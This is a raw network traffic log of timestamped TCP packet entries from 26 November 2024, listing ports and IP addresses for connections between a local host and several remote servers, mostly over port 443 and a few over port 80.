Nov 26, 2024 01:41:25.000029087 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.000040054 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.000083923 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.000083923 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.020324945 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.020345926 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.020396948 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.020425081 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.020431042 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.020492077 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.032063007 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.032744884 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.032767057 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.033252954 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.033258915 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.039968967 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.039983988 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.040051937 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.040062904 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.040116072 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.062947989 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.063029051 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.063158035 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.063378096 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.063399076 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.063410997 CET	49755	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.063416004 CET	443	49755	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.067054033 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.067111015 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.067183971 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.067358971 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.067378044 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.168523073 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.168589115 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.168607950 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.168622017 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.168704033 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.417340040 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.417351007 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.417427063 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.417424917 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.417479038 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.417501926 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.417587042 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535132885 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535157919 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535218000 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535254955 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535273075 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535339117 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535378933 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535397053 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535413027 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535458088 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535465956 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535490990 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535517931 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535579920 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535599947 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535643101 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535650969 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535676003 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535767078 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535785913 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535837889 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535846949 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535866022 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535922050 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.535932064 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535949945 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.535990000 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.536017895 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536017895 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536017895 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536053896 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.536057949 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536088943 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536132097 CET	49756	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.536158085 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536381960 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536397934 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536489010 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536497116 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536539078 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536592007 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536607027 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536705971 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536705971 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536715031 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.536717892 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.536777020 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.536797047 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.536834955 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.538878918 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.539593935 CET	49756	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.539629936 CET	443	49756	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.541465998 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.541481972 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.541492939 CET	49757	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.541498899 CET	443	49757	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.543436050 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.543461084 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.544133902 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.544146061 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.546169043 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.546179056 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.546272039 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.547646999 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.547660112 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.549386024 CET	49772	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.549449921 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.549534082 CET	49772	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.550076962 CET	49772	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.550101995 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.656025887 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.656044960 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.656109095 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.656122923 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.656178951 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.656178951 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.667974949 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.667990923 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.668104887 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.668114901 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.668160915 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.676748037 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.676806927 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.676836967 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.676845074 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.676873922 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.676911116 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.679224968 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:25.679246902 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:25.679358959 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:25.680608988 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:25.680619001 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:25.686906099 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.686922073 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.686995029 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.687004089 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.687047958 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.687047958 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.696871996 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.696887016 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.696954966 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.696965933 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.697032928 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.707024097 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.707039118 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.707108974 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.707120895 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.707496881 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.716402054 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.716435909 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.716479063 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.716487885 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.716510057 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.716556072 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.725101948 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.725120068 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.725198030 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.725208044 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.725224018 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.725317955 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.735290051 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.735306025 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.735492945 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.735502958 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.735557079 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.745305061 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.745321035 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.745404959 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.745415926 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.745486975 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.780955076 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.780972004 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.781028032 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.781047106 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.781080961 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.781111956 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.789768934 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.789784908 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.789866924 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.789875031 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.789911032 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.789931059 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.799798965 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.799813032 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.799911022 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.799921989 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.800024033 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.809902906 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.809919119 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.809998989 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.810009003 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.810056925 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.819328070 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.819344044 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.819430113 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.819442034 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.819493055 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.829402924 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.829425097 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.829556942 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.829575062 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.829632044 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.838306904 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.838323116 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.838387012 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.838397026 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.838475943 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.848095894 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.848109007 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.848207951 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.848217964 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.848263979 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.856772900 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.856787920 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.856885910 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.856894970 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.856949091 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.863003969 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.863059044 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.863097906 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.863117933 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.863133907 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.863172054 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.863539934 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.863645077 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.864196062 CET	49753	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:25.864212990 CET	443	49753	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:25.982690096 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.982749939 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.982911110 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.983278036 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.983278990 CET	49758	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.983326912 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.983359098 CET	443	49758	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.988739014 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.988794088 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:25.988873005 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.989465952 CET	49774	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:25.989497900 CET	443	49774	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:26.214406967 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.214488029 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.238807917 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.238934994 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.239583969 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.240397930 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.267215967 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.267222881 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.268281937 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.268371105 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.273713112 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.284504890 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.284517050 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.284882069 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.284892082 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.284987926 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.285082102 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.319333076 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.373478889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:26.373893023 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:26.421833992 CET	443	49766	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:26.424171925 CET	49766	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:26.424196959 CET	443	49766	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:26.424702883 CET	443	49766	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:26.427423000 CET	49766	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:26.427567005 CET	443	49766	142.250.181.100	192.168.2.6
Nov 26, 2024 01:41:26.468292952 CET	49766	443	192.168.2.6	142.250.181.100
Nov 26, 2024 01:41:26.493433952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:26.493766069 CET	80	49778	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:26.493891954 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:26.512954950 CET	49778	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:26.602972984 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:26.632857084 CET	80	49778	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:26.655776024 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:26.684237003 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.684353113 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.684457064 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.741764069 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:26.741774082 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:26.742328882 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:26.742332935 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:26.745064020 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.745075941 CET	443	49765	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.745091915 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.745126963 CET	49765	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.826165915 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.826215029 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.826251030 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.826263905 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.826280117 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.826316118 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.826327085 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.826343060 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.826391935 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.827656031 CET	49764	443	192.168.2.6	20.31.169.57
Nov 26, 2024 01:41:26.827665091 CET	443	49764	20.31.169.57	192.168.2.6
Nov 26, 2024 01:41:26.830775023 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.830811977 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:26.830882072 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.833120108 CET	49779	443	192.168.2.6	150.171.28.10
Nov 26, 2024 01:41:26.833137035 CET	443	49779	150.171.28.10	192.168.2.6
Nov 26, 2024 01:41:27.068913937 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.068981886 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.069041967 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.071459055 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.071475983 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.071489096 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.071495056 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.075830936 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.075865984 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.075927973 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.076670885 CET	49780	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.076679945 CET	443	49780	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.258467913 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.261019945 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.261058092 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.261898041 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.261904955 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.276038885 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:27.276086092 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:27.276168108 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:27.289757013 CET	49781	443	192.168.2.6	23.218.208.109
Nov 26, 2024 01:41:27.289772987 CET	443	49781	23.218.208.109	192.168.2.6
Nov 26, 2024 01:41:27.342943907 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.343781948 CET	49772	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.343863964 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.344361067 CET	49772	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.344376087 CET	443	49772	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.347064972 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.347420931 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.347431898 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.347882032 CET	49771	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:27.347884893 CET	443	49771	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:27.474001884 CET	443	49773	4.245.163.56	192.168.2.6
Nov 26, 2024 01:41:27.474071980 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:27.478260994 CET	49773	443	192.168.2.6	4.245.163.56
Nov 26, 2024 01:41:27.478269100 CET	443	49773	4.245.163.56	192.168.2.6
